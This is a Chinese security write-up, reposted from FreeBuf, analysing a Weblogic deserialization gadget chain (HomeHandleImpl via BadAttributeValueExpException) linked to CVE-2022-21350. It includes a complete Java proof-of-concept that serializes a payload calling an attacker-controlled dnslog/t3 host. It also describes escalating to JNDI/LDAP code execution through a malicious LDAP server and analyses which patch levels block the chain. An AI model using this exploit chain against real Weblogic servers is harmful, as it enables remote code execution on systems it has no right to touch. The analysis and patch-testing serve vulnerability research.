Weblogic HomeHandle反序列化漏洞分析和研究
2022-2-17 17:25:37 Author: www.freebuf.com(查看原文) 阅读量:6 收藏

0x01 背景

2022年1月18日,ORACLE官方发布了2022年第一季度的补丁,其中涉及到多个关于Weblogic的漏洞。由于Weblogic的补丁很贵,一般人下载不到,所以一直在等待相关的细节信息。

最近看到一篇关于CVE-2022-21350的分析文章,原文链接为:

https://www.ctfiot.com/24542.html

文中提到了一条新的反序列化利用链。作者的思路是完全正确的,整个利用过程也没有问题,重新再复现一次这条反序列化的利用链也让我学习到很多知识。

但是我对这个漏洞的CVE编号持保留意见,从CVE官网找到的CVE-2022-21350漏洞是属于Weblogic的未授权访问和拒绝服务漏洞,CVSS评分也只有6.5,和这里的反序列化似乎不是一个漏洞。从漏洞的简要描述来看这个漏洞似乎也不是CVE-2022-21306,具体是哪个编号就不深究了,有知道的小伙伴麻烦告知。

本篇文章主要是针对该漏洞的详细分析和研究,以探讨安全技术为目的,对漏洞分析不感兴趣的小伙伴可直接跳到文末的结论。

0x02 利用链分析

发现反序列化漏洞的过程我们就不追究了,我们直接站在巨人的肩膀上来分析这个漏洞,顺便说明一般反序列化漏洞利用链的分析方式。

要实现反序列化利用链,首先需要知道整个利用链的栈调用过程。这里就不用文字来描述了,直接用最后poc编写完成之后的栈调用截图来表示,如图2.1所示。

图2.1 HomeHandle反序列化漏洞栈调用过程

从栈调用过程可以看出整个反序列化利用链的入口(Source)点是BadAttributeValueExpException类,出口(Sink)点是HomeHandleImpl类。我们按照倒叙的方式来分析整个利用链,倒叙的方式可能看起来比较别扭,但是有利于我们编写反序列化利用链的利用代码。

找到HomeHandleImpl类的getEJBHome方法,如图2.2所示。图中箭头位置是一个典型的JNDI注入函数lookup,并且lookup函数的两个点ctx和this.jndiName都是可控的。如果某条反序列化的利用链最终能调用这个函数,则可能造成JNDI注入。关于这个位置进行JNDI注入利用的方式在后面的章节进行分析。

图2.2 HomeHandleImpl类的getEJBHome方法

到这里我们要实现反序列化利用链编写的第一步,编写Sink点利用方式。这里可控的参数有this.serverURL和this.jndiName两个点。控制这两个点都可以实现反序列化漏洞的poc(但是实现exp的利用过程需要通过this.jndiName,这是后话),我们借鉴原文作者给出的poc,第一步对Sink点模拟调用的方式如图2.3所示(代码说明见图中注释),运行之后可以看到DNSLOG的请求日志如图2.4所示。

图2.3 模拟Sink点调用逻辑

图2.4 DNSLOG请求日志

到这里我们就可以明确一个信息,如果某个反序列化的调用链可以调用HomeHandleImpl类的getEJBHome方法,那么就可以实现反序列化,整个反序列化利又向前迈出一步。我们继续看哪里调用了getEJBHome方法,从栈调用的图可以看出BusinessHandleImpl类的getBusinessObject方法调用了getEJBHome方法,如图2.5所示。并且这里的this.homeHandle字段类型是HomeHandleImpl类。

图2.5 getBusinessObject方法调用了getEJBHome方法

到这里就可以把反序列化利用链再向前一步,编写利用链代码,如图2.6所示。调用之后同样可以看到DNSLOG截图。

图2.6 通过调用BusinessHandleImpl的getBusinessObject函数出发Sink

图2.7 第二步调用之后的DNSLOG截图

到这里我们就可以明确一个信息,如果某个反序列化的调用链可以调用BusinessHandleImpl类的getBusinessObject方法,那么就可以实现反序列化。从栈调用过程中可以看出AttributeWrapperUtils类的unwrapEJBObjects方法调用了BusinessHandleImpl类的getBusinessObject方法,如图2.8所示,这里的调用过程只与第二个参数unwrappedObject相关。

图2.8 unwrapEJBObjects方法调用了getBusinessObject方法

unwrapEJBObjects方法又被unwrapObject方法调用,如图2.9所示。

图2.9 unwrapObject方法调用unwrapEJBObjects方法

所以我们只要能调用AttributeWrapperUtils类的unwrapObject方法,并且第二个参数可控,那么就可以实现整个反序列化调用链。继续把反序列化调用链向上走一步,编写反序列化链代码,如图2.10所示。

图2.10 通过调用AttributeWrapperUtils类的unwrapObject方法触发Sink

继续向上寻找哪里调用了AttributeWrapperUtils类的unwrapObject方法,通过栈调用图可以看出FileSessionData类的getAttributeInternal方法调用了AttributeWrapperUtils类的unwrapObject方法。这里有一个小坑是FileSessionData本身是没有相关函数的调用的,实际上是通过FileSessionData类的父类SessionData类的getAttributeInternal方法来进行调用的,如图2.11所示。那么我们为什么不能直接用SessionData类呢?因为SessionData类是一个abstract类,不能直接实例化。

在上一步的分析中我们要求unwrapObject方法的第二个参数必须可控,在这一步中unwrapObject的第二个参数来源于this.attributes字段,属于反序列化可控字段。

图2.11 getAttributeInternal方法调用unwrapObject方法

getAttributeInternal方法又被getAttribute方法调用,如图2.12所示。

图2.12 getAttribute方法调用getAttributeInternal方法

getAttribute方法又被isDebuggingSession方法调用,如图2.13所示。

图2.13 isDebuggingSession方法调用getAttribute方法

isDebuggingSession方法又被toString方法调用,如图2.14所示。

图2.14 toString方法调用isDebuggingSession方法

到这里我们就可以通过调用SessData类的toString方法来调用attributeWrapperUtils类的unwrapObject方法。继续向上编写反序列化利用链,如图2.15所示。

这里有一个点要注意就是attributeWrapperUtils类的unwrapObject方法的第二个参数来源于this.attributes.get(name),这里的name来源于方法参数,最开始的赋值只能是图2.13中的wl_debug_session。

图2.15 通过调用SessionData类的toString方法来触发Sink

有经验的小伙伴看到toString函数就会想到CC链,在CC5中就是通过BadAttributeValueExpException类的readObject方法来调用任意类的toString方法的。我们直接使用CC5的后面部分的代码拿过来使用就可以组成本次反序列化利用链的最终组成部分,如图2.16所示。

图2.16 通过BadAttributeValueExpException类来调用toString方法

上面的过程就已经完整的复现了这个利用链,但是在本地实际测试的过程中却发现怎么都不成功,不成功主要是因为图2.13中的条件判断会包异常,如图2.17所示。

异常原因是因为本身registry里面的变量都是null,再去调用null的任何方法都会报空指针异常。

图2.17 registry.isProductionMode()异常

遇到这个问题的第一感觉是通过反射来修改registry字段的值,但是实际测试过程中却发现这个registry的赋值过程异常复杂,而且里面还有很多final修饰的字段,通过反射修改不成功。后面发现这个registry是属于Weblogic程序启动时候的初始化数据,包含的是Weblogic服务器信息,本地调试当然没有registry信息,但是远程的真实Weblogic服务器就都有这个信息。所以,直接开一个Weblogic的远程调试,如图2.18所示。

图2.18 远程调试下的registry是有值的

可能有的小伙伴就觉得奇怪了,我们分析的每一步都是基于调用栈来复现的,实际情况下我们肯定不可能先有某个漏洞的调用栈,然后再来分析。这当然不可能,挖掘一个漏洞的调用过程是一个极难的事情,这可比分析漏洞难多了。

0x03 POC编写

其实上面关于反序列化利用链的分析过程中就已经包含了POC代码了,但是为了方便小伙伴们查看。我们还是把整个代码整合一下,完整的利用代码如下所示:

import weblogic.ejb.container.internal.BusinessHandleImpl;import weblogic.ejb20.internal.HomeHandleImpl;import weblogic.servlet.internal.AttributeWrapper;import weblogic.servlet.internal.session.AttributeWrapperUtils;import weblogic.servlet.internal.session.FileSessionData;import javax.management.BadAttributeValueExpException;import javax.naming.Name;import javax.naming.ldap.LdapName;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;mport java.lang.reflect.Field;import java.util.HashMap;import java.util.Map;public class TEST1 {public static Object generatePayload() throws Exception {// 这是我们可控的恶意的地址,通过DNSLOG来验证POCString url = "t3://xx3.m6vyb4.dnslog.cn:7001/xx";// 生成一个Name对象Name name = new LdapName("cn=x,dc=x");HomeHandleImpl homeHandle=new HomeHandleImpl(null, name, null);//通过反射的方式修改serverURL字段的值Field serverURL = homeHandle.getClass().getDeclaredField("serverURL");serverURL.setAccessible(true);serverURL.set(homeHandle, url);//调用getEJBHome方法,模拟最终Sink点调用逻辑//        homeHandle.getEJBHome();BusinessHandleImpl businessHandle = new BusinessHandleImpl();// 通过反射方式修改homeHandle属性Field homeHandle1 = businessHandle.getClass().getDeclaredField("homeHandle");homeHandle1.setAccessible(true);homeHandle1.set(businessHandle, homeHandle);// 调用getBusinessObject,把反序列化利用链向上一步//        businessHandle.getBusinessObject();AttributeWrapperUtils attributeWrapperUtils = new AttributeWrapperUtils();AttributeWrapper attributeWrapper = new AttributeWrapper(businessHandle);// 通过反射修改isEJBObjectWrapped字段值Field isEJBObjectWrapped = attributeWrapper.getClass().getDeclaredField("isEJBObjectWrapped");isEJBObjectWrapped.setAccessible(true);isEJBObjectWrapped.set(attributeWrapper, true);// 调用unwrapObject,把反序列化利用链再向上一步//        attributeWrapperUtils.unwrapObject("xxxx", attributeWrapper, null);FileSessionData sessionData = new FileSessionData();// 通过反射的方式来修改attributes字段的值Mapmap = new HashMap<>();map.put("wl_debug_session", attributeWrapper);Field attributes = sessionData.getClass().getSuperclass().getDeclaredField("attributes");attributes.setAccessible(true);attributes.set(sessionData, map);//调用toString方法,把反序列化利用链再向上一步//sessionData.toString();// 通过BadAttributeValueExpException来调用toString方法BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(1);Field val = badAttributeValueExpException.getClass().getDeclaredField("val");val.setAccessible(true);val.set(badAttributeValueExpException,sessionData);return badAttributeValueExpException;}public static void main(String[] args) throws Exception {String filename = "CVE_2022_21350.ser";serialize(generatePayload(),filename); // 序列化生成的恶意并保存成文件//        unserialize(filename); // 本地反序列化一定失败,只能远程反序列化}public static void serialize(Object instance, String file)throws Exception {//将构造好的payload序列化后写入文件中ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(file));out.writeObject(instance);out.flush();out.close();}public static void unserialize(String file) throws Exception {//读取写入的payload,并进行反序列化ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));in.readObject();in.close();}}

执行上面的代码会生成一个序列化的文件cve_2022_21350.ser。然后再通过t3协议把这个序列化的文件发送给目标主机就可以了,如图3.1,图3.2所示。

图3.1 通过t3协议发送序列化数据图3.2 查看DNSLOG解析记录

0x04 EXP编写

上面我们的POC编写都还是在关于DNSLOG的请求层面,俗话说的好“不能弹计算器的POC都不是好EXP”。上面的也仅是POC层面,还没有EXP层面的利用,我们的目标是弹出计算器。

达到EXP的效果,就需要跟踪Weblogic里面关于JNDI注入的代码。常规的JNDi注入代码大约如下所示。

图4.1 JNDI注入的一般利用方式

一般情况下我们需要能控制lookup函数中的值,当我们写成ldap协议的地址,就会按照ldap协议请求加载远程数据。但是这里我们可控的是jndiName的字段类型是Name,并不是一般的String,如图4.2所示。

图4.2 Name类型的字段jndiName

跟踪关于lookup函数的定义,如图4.3所示。

图4.3 lookup函数定义

里面最关键的是getURLOrDefaultInitCtx函数,该函数规定了对Name类型的数据进行处理,然后传递给下一步的NamingManager类。如图4.4所示。

图4.4 通过getURLOrDefaultInitCtx函数处理Name对象数据

我们想要进行的是Ldap注入,Ldap的地址来源于scheme变量,只要我们控制scheme变量为我们恶意的Ldap地址,就可以进行常规的基于LDAP协议的JNDI注入。这里最关键的就是让name.get(0) == "ldap://xxxx.xxx.xx.xxx:1389/xxx"。

Name是一个接口基于此接口的实现类如下

javax.naming.CompoundName

javax.naming.CompositeName

com.sun.jndi.dns.DnsName

com.sun.jndi.toolkit.dir.HierarchicalName

com.sun.jndi.ldap.LdapName

javax.naming.ldap.LdapName

依次对这几个类创建对象,查看对象调用get(0)之后是否能获取到ldap://xxxx.xxx/xxx这样的数据。

1) 第一个找到的是DnsName类

由于英文点在DnsName类中是parse函数的分隔符,所以不能使用点。但是我们可以使用ip转整数的方式对点进行转换。所以127.0.0.1可以转化为2130706433,这样就可以获取到完整的ldap路径,如图4.5所示。

图4.5使用DnsName获取Name对象调用get(0)

2) 第二个找到的是CompoundName类

CompoundName可以直接使用构造函数,获取到的就是我们想要的数据,如图4.6所示。

图4.6 使用CompoundName获取Name对象调用get(0)

3) 第三个找到的是HierarchicalName类

HierarchicalName类是继承自CompoundName类的,所以使用方法也类似。

图4.7 使用HierarchicalName类获取Name对象调用get(0)

从上面的三种方式中任选一种来生成Name对象,ldap地址填写我们远程vps服务器地址。Sink部分代码如图4.8所示,这里采用最简单直接的CompoundName类生成name对象。

图4.8 通过CompoundName类来构造恶意ldap地址

其他部分的代码和POC里面的代码完全一样。利用过程需要首先在V1PS上开启注册恶意的ldap服务,利用marshalsec就可以实现了。如图4.9和图4.10所示。

图4.9 V1PS上的Ldap接受请求,加载恶意类

0x05 实际测试

本来以为上面的过程之后就完了,但是本着对漏洞分析完整性的研究,我在打了补丁的环境里面测试漏洞的实际危害。下面的所有环境均值Weblogic12.2.1.4.0,其他环境可能略有不同。

环境一,没有打补丁的环境

见0x04章节,可以成功复现漏洞。

环境二,打了2021.10的Weblogic补丁

按理说这个是2022年的漏洞,漏洞更新也是在2022.1的补丁中进行更新的。但是实际上在2021.10补丁的环境中,仍然不能复现成功这个漏洞。

打了补丁的环境是通过FilteringObjectInputStream类来对t3协议的流量进行反序列化,跟踪此类中的resolveClass函数,如图5.1所示。

图5.1 FilteringObjectInputStream类的resolveClass函数

这个函数就是用来反序列化类,获取类对象的。里面增加了安全措施,第一个就是通过checkLegacyBlacklistIfNeeded函数来校验待反序列化的类是否在Weblogic黑名单中(大名鼎鼎的Weblogic黑名单机制),最开始就说过的这是一条新的反序列化利用链,当然不在现在的黑名单列表中,所以这条的判断可以通过。第二个会通过validateReturnType函数校验生成类的类型,如图5.2所示。如果反序列化的类不是this.expectedType或者this. expectedTypes中的某一个类的子类,则抛出异常。

图5.2 通过validateReturnType函数校验类型

动态调试发现this. expectedType一定是null,但是this. expectedTypes是有值的,this. expectedTypes值的定义来源于InboundMsgAbbrev类,如图5.3所示。

图5.3 通过readObjectValidated来对expectedTypes赋值

赋值的依据是ABBREV_CLASSES,这是一个常量,定义如图5.4所示。也就是我们反序列化的类必须继承自ABBREV_CLASSES常量中的某个类,这就相当于是一种白名单机制,比传统的黑名单机制要狠太多了。

图5.4 对ABBREV_CLASSES常量进行定义

如果我们还是使用0x04中的exp来攻击打了2021.10补丁的环境,就会失败,并且看到异常信息。

环境三,打了2021.01补丁的环境

可以成功复现漏洞利用,exp与0x04相同。看了一下代码,发现2021.01的环境中InboundMsgAbbrev类的定义如图5.5所示。

图5.5 2021.01补丁环境中没有定义ABBREV_CLASSES常量

也就是在2021.01中并没有白名单的类型限制,所以我们仍然可以利用成功,如图5.6所示。

图5.6 在2021.01补丁环境中调用成功exp

所以,Weblogic从2021.0x的某个版本开始引入了ABBREV_CLASSES机制,该机制会限制反序列化时候的类的名称。目前不知道有什么办法可以绕过这个机制,希望知道的小伙伴能告知。

0x06 结论

目前来看这确实是一条新的反序列化利用链,但是这条利用链要成功利用还是有诸多限制,主要需要满足的条件如下:

1) 目标必须出网

2) 目标JDK版本必须小于JDK1.8.0_191

3) 目标不能采用ABBREV_CLASSES白名单机制(这大约是2021年的某次更新)

虽然利用条件有限,但是还是不能阻止这确实是一个好洞,伸手党可直接扫描下方二维码关注公众号回复“weblogic”获取漏洞研究相关工具。

由于传播、利用此提供的信息而造成任何直接或间接的后果及损害,均由使用本人负责,本公众号及文章作者不为此承担任何责任。

参考链接:

https://www.ctfiot.com/24542.html

https://xz.aliyun.com/t/9874

原文链接


文章来源: https://www.freebuf.com/vuls/322173.html
如有侵权请联系:admin#unsafe.sh